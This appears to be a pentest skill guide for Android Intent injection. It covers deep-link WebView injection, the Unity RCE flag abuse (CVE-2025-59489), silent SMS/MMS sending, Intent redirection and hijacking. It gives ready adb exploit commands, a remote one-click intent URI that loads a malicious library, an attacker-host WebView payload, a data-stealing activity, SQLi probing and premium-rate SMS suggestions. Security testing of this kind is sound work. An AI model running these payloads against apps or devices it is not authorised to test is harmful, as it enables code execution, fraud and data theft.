Intent Injection

Android Intent Injection Pentest

This skill guides you through testing Android applications for Intent injection vulnerabilities. Intent injection abuses components that accept attacker-controlled Intents or data that is later converted into Intents.

When to Use This Skill

Use this skill when:

• Testing exported Activities, Services, BroadcastReceivers, or ContentProviders
• Analyzing deep links (custom schemes, VIEW/BROWSABLE intents)
• Investigating WebView security in Android apps
• Testing Unity-based Android applications
• Checking for confused-deputy patterns (SMS/MMS auto-send)
• Looking for Intent redirection vulnerabilities (CWE-926)
• Testing implicit Intent resolution and hijacking risks
• Automating exported component testing

Quick Start

# Basic exported Activity test
adb shell am start -n com.target/.ExportedActivity

# Test with extras
adb shell am start -n com.target/.Activity --es key value

# Test deep link
adb shell am start -a android.intent.action.VIEW -d "myscheme://path"

1. Deep Link → WebView Injection

Detection

Look for custom scheme deep links that forward URLs to WebViews:

myscheme://com.example.app/web?url=<attacker_url>

Testing

# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
  -d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Explicit Activity targeting
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
  -d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

What to Check

• HTML/JS executes inside app's WebView context
• JavaScript enabled (check setJavaScriptEnabled(true))
• Exposed @JavascriptInterface objects
• WebView cookies/local storage access
• Order-of-checks bugs (JavaScript enabled before URL validation)

Code Patterns to Find

// Dangerous: JavaScript enabled before validation
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl(urlFromIntent);

// Look for inconsistent URL normalization
String url = intent.getStringExtra("url");
// Multiple helpers parsing/splitting/rebuilding URL differently

2. Unity Runtime RCE (CVE-2025-59489)

Vulnerability

Unity apps parse Intent extra unity as command-line flags. Hidden flag -xrsdk-pre-init-library triggers dlopen() early in initialization.

Conditions

• Unity entry Activity is exported (common default)
• For remote: Activity has BROWSABLE category
• Attacker can place ELF in permitted linker namespace path

Local Exploitation

# Place payload in attacker app's native lib dir
adb shell am start \
  -n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
  -e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"

Remote One-Click (if BROWSABLE)

intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

Bypass Strategy

Target apps that cache attacker-controlled bytes under private storage:

• Permitted paths include /data and app's private dir
• Point -xrsdk-pre-init-library at path inside app's cache
• Mirrors cache-to-ELF RCE patterns

3. Confused-Deputy SMS/MMS (CVE-2025-12080)

Vulnerability

Default messaging apps auto-execute implicit ACTION_SENDTO intents without confirmation UI or SEND_SMS permission.

Testing

# SMS schemes
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890" --es sms_body "hello"

# MMS schemes
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890" --es sms_body "hello"

Pentest Checklist

• Resolve ACTION_SENDTO to identify default handler
• Verify if handler shows compose UI or silently sends
• Test all four schemes: sms:, smsto:, mms:, mmsto:
• Test extras: sms_body, subject (for MMS)
• Consider premium-rate numbers for real device testing

Attack Surface (Wear OS)

• Activities, foreground Services, Tiles, Complications can all trigger
• Abuse can be one-tap or fully silent from background contexts

4. Intent Redirection (CWE-926)

Pattern

Exported entry point forwards incoming Intent without validating source/data:

startActivity(getIntent());
startActivity(intent); // intent from extra like redirect_intent

Code Search Patterns

• getParcelableExtra("redirect_intent")
• getParcelable("intent")
• Intent.parseUri(...)
• Direct startActivity()/startService()/sendBroadcast() on attacker-influenced Intents
• Missing getCallingPackage()/getCallingActivity() checks

ADB PoC Templates

# Proxy Activity forwarding to internal Activity
adb shell am start -n com.target/.ProxyActivity \
  --es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'

# Exported Service with redirect_intent
adb shell am startservice -n com.target/.ExportedService \
  --es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'

# Exported Receiver relaying without validation
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
  --es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

Real-World CVEs

• CVE-2024-26131 (Element Android): WebView manipulation, PIN bypass
• CVE-2023-44121 (LG ThinQ): System-level effects
• CVE-2023-30728 (Samsung PackageInstallerCHN): Arbitrary file access
• CVE-2022-36837 (Samsung Email): Content leak
• CVE-2021-4438 (React Native SMS): User consent bypass
• CVE-2020-14116 (Xiaomi Mi Browser): Intent abuse

5. Intent Hijacking (Implicit Intents)

Threat Model

App A expects result from App B via implicit Intent. Attacker App C registers matching intent-filter and intercepts the Intent.

Detection

# Find implicit Intent usage in decompiled code
grep -r "startActivityForResult" app/
grep -r "registerForActivityResult" app/
grep -r "new Intent(" app/ | grep -v "setComponent\|setPackage"

Attacker PoC Manifest

<activity android:name=".StealActivity" android:exported="true">
  <intent-filter>
    <action android:name="com.victim.app.ACTION_CALLBACK"/>
    <category android:name="android.intent.category.DEFAULT"/>
    <!-- Constrain to increase match score -->
    <data android:mimeType="application/json"/>
    <data android:scheme="myscheme" android:host="callback"/>
  </intent-filter>
</activity>

Handler Skeleton

public class StealActivity extends Activity {
  @Override protected void onCreate(Bundle b) {
    super.onCreate(b);
    Intent i = getIntent();
    Bundle extras = i.getExtras();
    Uri data = i.getData();
    // Dump/forward sensitive result
    android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
    finish();
  }
}

Mitigations

• Use explicit Intents for sensitive flows (setPackage()/setComponent())
• Add permission requirements to receiving components
• Validate caller identity
• Tighten Intent filters to only what's needed

6. Resolver Debugging

FLAG_DEBUG_LOG_RESOLUTION

Add this flag to see how Android resolves implicit Intents:

# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008

# Inspect resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"

Java Example

Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);

7. Automation: APK Components Inspector

Tool Overview

Automates discovery of Intent extras from Smali and generates ready-to-run ADB commands.

• Repo: https://github.com/thecybersandeep/apk-components-inspector
• Scans for: getStringExtra(), getIntExtra(), getParcelableExtra(), etc.
• Output: Exact adb shell am ... commands with correctly typed flags

Installation

git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

Usage

python apk-components-inspector.py target.apk

Example Output

adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

ADB Extras Cheat Sheet

Common Flags

• -a <ACTION> - Set action
• -c <CATEGORY> - Add category
• -t <MIME> - Set MIME type
• -f <FLAGS> - Set flags
• --activity-clear-task - Clear task before starting
• --activity-new-task - Start in new task

ContentProvider Testing

# Query provider
adb shell cmd content query --uri content://com.target.provider/items

# Insert data
adb shell cmd content insert --uri content://com.target.provider/items --bind name:s:value

# For SQLi probing, vary --projection and --where
adb shell cmd content query --uri content://com.target.provider/items --projection "name,id" --where "id=1"

Testing Workflow

Phase 1: Reconnaissance

1. Identify exported components

   aapt dump xmltree app.apk AndroidManifest.xml | grep -A 5 "android:exported"
   

2. List all intent-filters

   aapt dump xmltree app.apk AndroidManifest.xml | grep -B 2 -A 10 "intent-filter"
   

3. Check for Unity entry points

   aapt dump xmltree app.apk AndroidManifest.xml | grep -i unity
   

Phase 2: Component Testing

1. Run APK Components Inspector

   python apk-components-inspector.py app.apk | tee adbcommands.txt
   

2. Execute commands interactively

   python scripts/run_adb_commands.py
   

3. Monitor logs

   adb logcat -c && adb logcat | grep -i -E "error|exception|intent|activity"
   

Phase 3: Deep Analysis

1. Decompile and search for patterns

   apktool d app.apk -o app_decompiled
   grep -r "getStringExtra\|getParcelableExtra\|startActivity" app_decompiled/smali/
   

2. Check for order-of-checks bugs

   • Look for setJavaScriptEnabled(true) before URL validation
   • Multiple URL parsing helpers with inconsistent normalization

3. Test Intent redirection

   • Craft intent:#Intent;...;end payloads
   • Test with various target components

Phase 4: Reporting

Document findings with:

• Vulnerable component name
• Attack vector (deep link, extra, implicit intent, etc.)
• ADB PoC command
• Impact assessment
• Mitigation recommendations

References

• Android Intent Injection - OverSecured
• APK Components Inspector
• Android Intent Documentation
• Intent Filters Guide
• CVE-2025-59489 - Unity RCE
• CVE-2025-12080 - Google Messages Wear OS